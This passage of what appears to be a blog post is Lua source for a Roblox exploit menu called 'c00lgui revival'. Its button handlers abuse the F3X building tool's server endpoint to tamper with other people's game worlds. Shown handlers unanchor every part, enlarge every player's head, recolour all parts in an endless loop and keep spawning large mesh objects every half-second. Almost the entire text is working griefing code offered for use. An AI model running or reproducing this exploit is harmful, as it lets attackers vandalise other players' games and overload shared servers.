                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end

        function BigHead(player)
            local chara = player.Character
            spawn(function()
                SetLocked(chara.Head,false)
                MeshResize(chara.Head,Vector3.new(10,10,10))
            end)
        end
        for i,players in game.Players:GetPlayers() do
            BigHead(players)
        end
    end)
end
coroutine.wrap(MPCIN_fake_script)()
local function HQBSF_fake_script() -- button_55.LocalScript 
    local script = Instance.new('LocalScript', button_55)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end

        function Unanchor()
            for i,v in game.Workspace:GetDescendants() do
                spawn(function()
                    SetLocked(v,false)
                    SetAnchor(false,v)
                end)
            end
        end
        Unanchor()

    end)
end
coroutine.wrap(HQBSF_fake_script)()
local function THNGQF_fake_script() -- button_56.LocalScript 
    local script = Instance.new('LocalScript', button_56)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        function Weld(part1, part2,lead)
            local args = {
                [1] = "CreateWelds",
                [2] = {
                    [1] = part1,
                    [2] = part2
                },
                [3] = lead
            }
            _(args)

        end
        function SetLocked(part,boolean)
            local args = {
                [1] = "SetLocked",
                [2] = {
                    [1] = part
                },
                [3] = boolean
            }
            _(args)
        end
        function SetTrans(part,int)
            local args = {
                [1] = "SyncMaterial",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                    }
                }
            }
            _(args)
        end
        function CreateSpotlight(part)
            local args = {
                [1] = "CreateLights",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                    }
                }
            }
            _(args)
        end
        function SyncLighting(part,brightness)
            local args = {
                [1] = "SyncLighting",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                    }
                }
            }
            _(args)
        end
        function Color(part,color)
            local args = {
                [1] = "SyncColor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Color"] = color --[[Color3]],
                        ["UnionColoring"] = false
                    }
                }
            }
            _(args)
        end
        function randomise()
            for i,v in game.Workspace:GetDescendants() do
                if v:IsA("BasePart") then
                    spawn(function()
                        SetLocked(v,false)
                        Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
                    end)
                end
            end
        end
        while wait() do
            spawn(function()
                randomise()
            end)
        end
    end)
end
coroutine.wrap(THNGQF_fake_script)()
local function VTUOG_fake_script() -- button_57.LocalScript 
    local script = Instance.new('LocalScript', button_57)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = workspace
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = workspace.Part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                    }
                }
            }
            _(args)
        end
        function SetName(part, stringg)
            local args = {
                [1] = "SetName",
                [2] = {
                    [1] = workspace.Part
                },
                [3] = stringg
            }

            _(args)
        end
        function MeshResize(part,size)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                    }
                }
            }
            _(args)
        end
        hrpcf = player.Character.HumanoidRootPart.CFrame
        while wait(0.5) do
            x = hrpcf.x
            z = hrpcf.z
            randint = math.random(-600,600)
            randint2 = math.random(-600,600)
            xloc = randint + x
            zloc = randint2 + z
            cf = player.Character.HumanoidRootPart.CFrame.y + 400
            spawn(function()
                CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
                for i,v in game.Workspace:GetDescendants() do
                    if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
                        SetName(v,"b_1337")
                        SetAnchor(false,v)
                        AddMesh(v)
                        Resize(v, Vector3.new(100,100,100),v.CFrame)
                        MeshResize(v,Vector3.new(20,20,20))
                        SetMesh(v,"430278839")
                        SetTexture(v, "430278815")
                        SetCollision(v,false)
                    else
                    end
                end
            end)
        end
    end)
end
coroutine.wrap(VTUOG_fake_script)()
local function MDDNVMA_fake_script() -- button_58.LocalScript 
    local script = Instance.new('LocalScript', button_58)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "15475953475"
    end)
end
coroutine.wrap(MDDNVMA_fake_script)()
local function XFYH_fake_script() -- button_59.LocalScript 
    local script = Instance.new('LocalScript', button_59)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "3342499434"
    end)
end
coroutine.wrap(XFYH_fake_script)()
local function CDBIWK_fake_script() -- button_60.LocalScript 
    local script = Instance.new('LocalScript', button_60)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "358313209"
    end)
end
coroutine.wrap(CDBIWK_fake_script)()
local function JFZIKQ_fake_script() -- button_61.LocalScript 
    local script = Instance.new('LocalScript', button_61)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16432013221"
    end)
end
coroutine.wrap(JFZIKQ_fake_script)()
local function FBHUDW_fake_script() -- button_62.LocalScript 
    local script = Instance.new('LocalScript', button_62)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "13283475854"
    end)
end
coroutine.wrap(FBHUDW_fake_script)()
local function ELDZR_fake_script() -- button_63.LocalScript 
    local script = Instance.new('LocalScript', button_63)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16673285043"
    end)
end
coroutine.wrap(ELDZR_fake_script)()

if game.PlaceId == "192800" then
CoolGui.Parent = game.CoreGui
end

game:GetService("StarterGui"):SetCore("SendNotification",{
    Title = "c00lgui", -- Required
    Text = "c00lgui revival has loaded.", -- Required
})
0
Subscribe to my newsletter

Read articles from Silas Ross directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Silas Ross
Silas Ross